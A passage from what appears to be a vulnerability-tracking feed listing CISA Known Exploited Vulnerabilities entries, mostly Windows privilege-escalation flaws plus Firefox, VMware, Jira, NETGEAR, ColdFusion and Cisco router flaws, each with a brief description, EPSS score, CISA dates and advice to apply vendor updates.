attacker to cause Denial of Service (DoS) and potentially execute arbitrary code by sending a malicious request to the firewall. EPSS 26.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-5135&date=2026-10-25). Sources: CISA KEV entry CVE-2020-5135: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-5135&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Universal Plug and Play (UPnP) Service Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-1405 Microsoft Windows Universal Plug and Play (UPnP) Service Privilege Escalation Vulnerability (Mar 15, 2022). A privilege escalation vulnerability exists when the Windows UPnP service improperly allows COM object creation. EPSS 30.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1405&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1405: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1405&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-1322 Microsoft Windows Privilege Escalation Vulnerability (Mar 15, 2022). A privilege escalation vulnerability exists when Windows improperly handles authentication requests. An attacker who successfully exploited this vulnerability could run processes in an elevated context. EPSS 18.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1322&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1322: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1322&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Error Reporting Manager Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-1315 Microsoft Windows Error Reporting Manager Privilege Escalation Vulnerability (Mar 15, 2022). A privilege escalation vulnerability exists when Windows Error Reporting manager improperly handles hard links. An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status. EPSS 3.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1315&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1315: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1315&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows AppX Deployment Server Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-1253 Microsoft Windows AppX Deployment Server Privilege Escalation Vulnerability (Mar 15, 2022). A privilege escalation vulnerability exists when the Windows AppX Deployment Server improperly handles junctions. EPSS 11.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1253&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1253: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1253&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Win32k Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-1132 Microsoft Win32k Privilege Escalation Vulnerability (Mar 15, 2022). A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. EPSS 9.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1132&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1132: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1132&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-1129 Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability (Mar 15, 2022). A privilege escalation vulnerability exists when Windows AppXSVC improperly handles hard links. An attacker who successfully exploited this vulnerability could run processes in an elevated context. EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1129&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1129: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1129&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Task Scheduler Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-1069 Microsoft Task Scheduler Privilege Escalation Vulnerability (Mar 15, 2022). A privilege escalation vulnerability exists in the way the Task Scheduler Service validates certain file operations. EPSS 6.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1069&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1069: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1069&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-1064 Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability (Mar 15, 2022). A privilege escalation vulnerability exists when Windows AppXSVC improperly handles hard links. An attacker who successfully exploited this vulnerability could run processes in an elevated context. EPSS 6.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1064&date=2026-10-25). Sources: CISA KEV entry CVE-2019-1064: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1064&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-0841 Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability (Mar 15, 2022). A privilege escalation vulnerability exists when Windows AppXSVC improperly handles hard links. An attacker who successfully exploited this vulnerability could run processes in an elevated context. EPSS 41.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0841&date=2026-10-25). Sources: CISA KEV entry CVE-2019-0841: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0841&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2019-0543 Microsoft Windows Privilege Escalation Vulnerability (Mar 15, 2022). A privilege escalation vulnerability exists when Windows improperly handles authentication requests. An attacker who successfully exploited this vulnerability could run processes in an elevated context. EPSS 4.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-0543&date=2026-10-25). Sources: CISA KEV entry CVE-2019-0543: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-0543&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Win32k Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2018-8120 Microsoft Win32k Privilege Escalation Vulnerability (Mar 15, 2022). A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory. EPSS 73.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8120&date=2026-10-25). Sources: CISA KEV entry CVE-2018-8120: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8120&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Transaction Manager Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2017-0101 Microsoft Windows Transaction Manager Privilege Escalation Vulnerability (Mar 15, 2022). A privilege escalation vulnerability exists when the Windows Transaction Manager improperly handles objects in memory. EPSS 57.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-0101&date=2026-10-25). Sources: CISA KEV entry CVE-2017-0101: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-0101&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2016-3309 Microsoft Windows Kernel Privilege Escalation Vulnerability (Mar 15, 2022). A privilege escalation vulnerability exists when the Windows kernel fails to properly handle objects in memory. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode. EPSS 20.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-3309&date=2026-10-25). Sources: CISA KEV entry CVE-2016-3309: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-3309&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Win32k Memory Corruption Vulnerability https://kevwire.com/record/CVE-2015-2546 Microsoft Win32k Memory Corruption Vulnerability (Mar 15, 2022). The kernel-mode driver in Microsoft Windows OS and Server allows local users to gain privileges via a crafted application. EPSS 10.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2546&date=2026-10-25). Sources: CISA KEV entry CVE-2015-2546: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2546&date=2026-10-25 CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 15, 2022; federal due date Apr 5, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mozilla Firefox Use-After-Free Vulnerability https://kevwire.com/record/CVE-2022-26486 Mozilla Firefox Use-After-Free Vulnerability (Mar 7, 2022). Mozilla Firefox contains a use-after-free vulnerability in WebGPU IPC Framework which can be exploited to perform arbitrary code execution. EPSS 2.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26486&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26486: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26486&date=2026-10-25 CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2022; federal due date Mar 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mozilla Firefox Use-After-Free Vulnerability https://kevwire.com/record/CVE-2022-26485 Mozilla Firefox Use-After-Free Vulnerability (Mar 7, 2022). Mozilla Firefox contains a use-after-free vulnerability in XSLT parameter processing which can be exploited to perform arbitrary code execution. EPSS 14.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26485&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26485: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26485&date=2026-10-25 CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2022; federal due date Mar 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware vCenter Server and Cloud Foundation Server Side Request Forgery (SSRF) Vulnerability https://kevwire.com/record/CVE-2021-21973 VMware vCenter Server and Cloud Foundation Server Side Request Forgery (SSRF) Vulnerability (Mar 7, 2022). VMware vCenter Server and Cloud Foundation Server contain a SSRF vulnerability due to improper validation of URLs in a vCenter Server plugin. This allows for information disclosure. EPSS 88.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21973&date=2026-10-25). Sources: CISA KEV entry CVE-2021-21973: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21973&date=2026-10-25 CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2022; federal due date Mar 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Pulse Connect Secure Code Injection Vulnerability https://kevwire.com/record/CVE-2020-8218 Pulse Connect Secure Code Injection Vulnerability (Mar 7, 2022). A code injection vulnerability exists in Pulse Connect Secure that allows an attacker to crafted a URI to perform an arbitrary code execution via the admin web interface. EPSS 32.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-8218&date=2026-10-25). Sources: CISA KEV entry CVE-2020-8218: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-8218&date=2026-10-25 CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Atlassian Jira Server and Data Center Server-Side Template Injection Vulnerability https://kevwire.com/record/CVE-2019-11581 Atlassian Jira Server and Data Center Server-Side Template Injection Vulnerability (Mar 7, 2022). Atlassian Jira Server and Data Center contain a server-side template injection vulnerability which can allow for remote code execution. EPSS 84.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-11581&date=2026-10-25). Sources: CISA KEV entry CVE-2019-11581: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-11581&date=2026-10-25 CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### NETGEAR DGN2200 Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-6077 NETGEAR DGN2200 Remote Code Execution Vulnerability (Mar 7, 2022). NETGEAR DGN2200 wireless routers contain a vulnerability that allows for remote code execution. EPSS 68.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-6077&date=2026-10-25). Sources: CISA KEV entry CVE-2017-6077: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-6077&date=2026-10-25 CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### NETGEAR Multiple Routers Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2016-6277 NETGEAR Multiple Routers Remote Code Execution Vulnerability (Mar 7, 2022). NETGEAR confirmed multiple routers allow unauthenticated web pages to pass form input directly to the command-line interface, permitting remote code execution. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-6277&date=2026-10-25). Sources: CISA KEV entry CVE-2016-6277: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-6277&date=2026-10-25 CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Information Disclosure Vulnerability https://kevwire.com/record/CVE-2013-0631 Adobe ColdFusion Information Disclosure Vulnerability (Mar 7, 2022). Adobe Coldfusion contains an unspecified vulnerability, which could result in information disclosure from a compromised server. EPSS 66.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0631&date=2026-10-25). Sources: CISA KEV entry CVE-2013-0631: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0631&date=2026-10-25 CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Directory Traversal Vulnerability https://kevwire.com/record/CVE-2013-0629 Adobe ColdFusion Directory Traversal Vulnerability (Mar 7, 2022). Adobe Coldfusion contains a directory traversal vulnerability, which could permit an unauthorized user access to restricted directories. EPSS 65.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0629&date=2026-10-25). Sources: CISA KEV entry CVE-2013-0629: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0629&date=2026-10-25 CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe ColdFusion Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2013-0625 Adobe ColdFusion Authentication Bypass Vulnerability (Mar 7, 2022). Adobe Coldfusion contains an authentication bypass vulnerability, which could result in an unauthorized user gaining administrative access. EPSS 93.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-0625&date=2026-10-25). Sources: CISA KEV entry CVE-2013-0625: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-0625&date=2026-10-25 CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe BlazeDS Information Disclosure Vulnerability https://kevwire.com/record/CVE-2009-3960 Adobe BlazeDS Information Disclosure Vulnerability (Mar 7, 2022). Adobe BlazeDS, which is utilized in LifeCycle and Coldfusion, contains a vulnerability that allows for information disclosure. EPSS 90.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2009-3960&date=2026-10-25). Sources: CISA KEV entry CVE-2009-3960: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2009-3960&date=2026-10-25 CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 7, 2022; federal due date Sep 7, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2022-20708 Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability (Mar 3, 2022). A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS). EPSS 14.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-20708&date=2026-10-25). Sources: CISA KEV entry CVE-2022-20708: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-20708&date=2026-10-25 CISA added this entry on 2022-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 3, 2022; federal due date Mar 17, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2022-20703 Cisco Small Business RV Series Routers Stack-based Buffer Overflow Vulnerability (Mar 3, 2022). A vulnerability in Cisco Small Business RV160, RV260, RV340, and RV345 Series Routers could allow an attacker to do any of the following: Execute arbitrary code elevate privileges, execute arbitrary commands, bypass authentication and authorization protections, fetch and run unsigned software, or cause a denial of service (DoS). EPSS 9.2% for the following 30 days, scored Oct 25, 2026 